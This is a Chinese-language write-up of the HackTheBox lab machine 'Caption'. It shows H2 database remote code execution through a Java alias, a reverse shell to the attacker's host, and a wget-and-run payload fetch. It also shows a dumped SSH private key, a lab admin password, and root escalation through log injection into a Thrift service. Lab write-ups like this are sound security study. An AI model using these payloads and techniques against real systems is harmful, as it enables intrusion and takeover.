HacktheBox-Caption

信息搜集

1
2
3
4
5
6
10.10.11.33:22 open
10.10.11.33:80 open
10.10.11.33:8080 open
[*] alive ports len is: 3start vulscan
[*] WebTitle http://10.10.11.33 code:301 len:0 title:None 跳转url: http://caption.htb
[*] WebTitle http://10.10.11.33:8080 code:200 len:7191 title:GitBucket

8080 GitBucket

exploits/GitBucket/gitbucket-unauthenticated-rce.md at master · kacperszurek/exploits

发现有目录:http://caption.htb:8080/http://caption.htb:8080/root后者直接跳转到 root 用户,但是仍然需要验证。

http://caption.htb:8080/root.atom文件泄露:

1
2
3
4
5
6
7
8
9
10
11
12
<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/" xml:lang="en-US">
<id>tag:caption.htb,2013:gitbucket</id>
<title>GitBucket's activities</title>
<link type="application/atom+xml" rel="self" href="http://caption.htb:8080/activities.atom"/>
<author>
<name>GitBucket</name>
<uri>http://caption.htb:8080</uri>
</author>
<updated>2024-09-16T05:23:03Z</updated>

</feed>

测试了一下发现是弱口令:root:root

下面有两个仓库:/root/Logserviceroot/Caption-Portal

然后在右上角用户管理处中能发现管理面板:/admin/users

发现有数据库管理位置:/admin/dbviewer,报错发现数据库是 h2:

H2 数据库 RCE

Chaining Vulnerabilities in H2 Database for RCE | by Nairuz Abulhul | R3d Buck3T | Medium

1
SELECT FILE_READ('/etc/passwd', NULL);

能读,但是不完全能读,

之前在羊城杯里面遇到过 h2 数据库的 RCE。

2024 羊城杯 初赛 部分题目WP

可以通过编写 Java 代码实现自定义数据库函数。

1
2
3
4
CREATE ALIAS NATRO92 AS $$ String shellexec(String cmd) throws java.io.IOException {
java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
return s.hasNext() ? s.next() : "";
}$$;

然后就可以 RCE:

1
CALL NATRO92('id')

发现有 margo 用户,反弹出 shell。直接弹 shell 似乎是不行的,只能这样传 shell 文件再反弹。

1
2
3
4
5
6
7
# 写入文件 shell.sh 并挂载
bash -i >& /dev/tcp/10.10.14.22/7777 0>&1
python3 -m http.server 80

CALL NATRO92('wget -O /tmp/natro92.sh http://10.10.14.22/shell.sh')
CALL NATRO92('chmod +x /tmp/natro92.sh');
CALL NATRO92('bash /tmp/natro92.sh');

虽然我觉得这个也不是预期结果,因为这个对于一个 Hard 靶机来说似乎有点过于简单了 O.o。

thrift PE

权限稳定下。把 ssh 文件下下来

1
2
3
4
5
6
7
8
9
CALL NATRO92('cat .ssh/id_ecdsa');
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS1zaGEy
LW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQQ1SM7z6j9c2tRnzil0l0IYWiMdCW1EbbmLEh1VtEw9
xlimkCfS2HkRXlK+L+P+kIaSjU/dtffZ7lYsUqVU0+WTAAAAoPk+TRj5Pk0YAAAAE2VjZHNhLXNo
YTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBDVIzvPqP1za1GfOKXSXQhhaIx0JbURtuYsSHVW0
TD3GWKaQJ9LYeRFeUr4v4/6QhpKNT92199nuVixSpVTT5ZMAAAAhAOoMh9nwyHpHj/g4H0w967UF
vJX7WQ4wIONFojx14tPgAAAAAAECAwQFBgc=
-----END OPENSSH PRIVATE KEY-----

注意这里 cat 出来的很有可能报错,需要格式化下。

natro92/format_ssh_key_file: format ssh key file. (github.com)

1
Load key "id_rsa": error in libcrypto

格式化之后记得赋值权限。

1
2
chmod 600 id_ecdsa
ssh -i id_ecdsa margo@10.10.11.33

但是到后面传了 linpeas 也没啥想法。

我们重新返回 git 仓库到 LogService 的仓库,发现是 go 语言编写的。并且调用了 thrift 这个库,说明有 thrift 服务。根据服务可以发现运行在了 9090 端口。

Apache Thrift - Python

将 logservice 库 clone 到 margo 的 home 下。然后在目录下运行:

1
thrift --gen py log_service.thrift

然后将文件下载到本地,这里本来想多熟悉熟悉 msf 上个马,但是这里一直报错:

懂得师傅可以在评论说下为什么。,那就用 scp 下载到本地。

1
scp -i id_ecdsa margo@10.10.11.33:/home/margo/Logservice/log_service.thrift ./log_service.thrift

然后用 apt 安装 thrift 库,再把 9090 端口代理出来:

1
ssh -i id_ecdsa -L 9090:127.0.0.1:9090 margo@10.10.11.33

再去靶机处创建一个 log 文件:

1
2
3
4
5
vim /tmp/evil.log
# 写入恶意利用日志
127.0.0.1 "user-agent":"'; /bin/bash /tmp/evil-natro92.sh #"
# 再写入 evil-natro92.sh 为了赋予 /bin/bash所有者root权限
chmod +s /bin/bash

再回到本地,运行:

1
2
3
thrift -r --gen py log_service.thrift
cd gen-py
vim client.py

将下面的内容保存到 client.py 中,然后再运行 client.py 文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from thrift.transport import TSocket
from thrift.transport import TTransport
from thrift.protocol import TBinaryProtocol
from log_service import LogService

def main():
transport = TSocket.TSocket('127.0.0.1', 9090)
transport = TTransport.TBufferedTransport(transport)
protocol = TBinaryProtocol.TBinaryProtocol(transport)
client = LogService.Client(protocol)
transport.open()
try:
response = client.ReadLogFile("/tmp/evil.log")
except Exception as e:
print(f"Error: {e}")
finally:
transport.close()

if __name__ == "__main__":
main()

返回到靶机的 ssh 链接,然后运行/bin/bash -p

Beyond Root

User 这部分似乎是非预期,我们可以看到除了 margo 这个用户之外还有一个 ruth 用户。在 home 下有一个 bot.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import sys
import requests
import subprocess
from time import sleep
from bs4 import BeautifulSoup
from seleniumwire import webdriver

def cache_automation(ip):
option = webdriver.ChromeOptions()
option.add_argument('--no-sandbox')
option.add_argument('--headless')
option.add_argument("--remote-debugging-port=34572")
driver = webdriver.Chrome(options=option)
print('[*] Starting Browsing as Admin')
r = requests.post(
'http://caption.htb/',
data={
'username':'admin',
'password':'cFgjE@0%l0'
},
allow_redirects=False
)
cookie = r.headers['Set-Cookie'].split(';')[0].split('=')[1]
driver.get('http://caption.htb')
driver.add_cookie({"name": "session", "value": "%s"%(cookie)})
r = requests.get(f'http://caption.htb/firewalls?ip={ip}',cookies={'session':cookie})
soup = BeautifulSoup(r.text,"html.parser")
try:
link=soup.find_all('script')[1]['src'].split('?')[1]
if 'internal-proxy.local' in link:
print(f"[!] Request not poisoned yet - {link}")
driver.close()
driver.quit()
else:
print(f'[+] Request is cached - {link}')
driver.get(f'http://caption.htb/firewalls?ip={ip}')
print('[*] Browsed to the firewall page')
driver.close()
driver.quit()
except:
pass

cache_automation(sys.argv[1])

很显然这个是一个 xss Bot。不断用带着 Admin 的 cookie 的 bot 访问/firewalls这个路由。

然后目录下另一个varnish_logs.sh运行 bot:

1
2
3
4
5
6
7
8
9
10
11
#!/bin/bash

read_output() {
while read -r line; do
if [[ -n "$line" ]];then
python3 /home/ruth/bot.py "$line"
fi
done
}

varnishncsa -c -F "%{VCL_Log:client_ip}x" | read_output

而这个 carnishncsa 是一个记录 Varnish 的访问日志。

如果我们这里自定义一个请求种类NATROISBEST发送出去,如果你运行 varnishncsa 的监控是可以接收到的。

1
2
3
4
# remote
varnishncsa -c -F "%{%Y-%m-%d %H:%M:%S}t %h %m %U %H %s %b %{VCL_Log:client_ip}x %D"
# kali
curl caption.htb -X NATROISBEST

但是这个 app 里面的 py 文件需要先读取到才能知道,这个需要有 margo 权限,而且在仓库里面并未提供。

1
2
3
4
5
@app.route('/firewalls')
@login_required
def firewall():
try: return render_template('firewall.html',host=request.headers['X-Forwarded-Host'])
except: return render_template('firewall.html',host='internal-proxy.local')

由于我对 XSS 就是个彩笔,这里引用下别人的 payload:

1
./templates/firewall.html:12:<script src="http://caption.htb/static/js/lib.js?utm_source=http://{{host|safe}}"></script>

但是那个/download路由下载有限制。这部分说实话感觉没有逻辑没法合理拼接,等等后面的 wp 在看看吧。

盘外招

GitHub - natro92/HacktheBoxPrivExp: A personal exp base to HacktheBox

caption.htb

admin:cFgjE@0%l0

user 的 id 一直在变。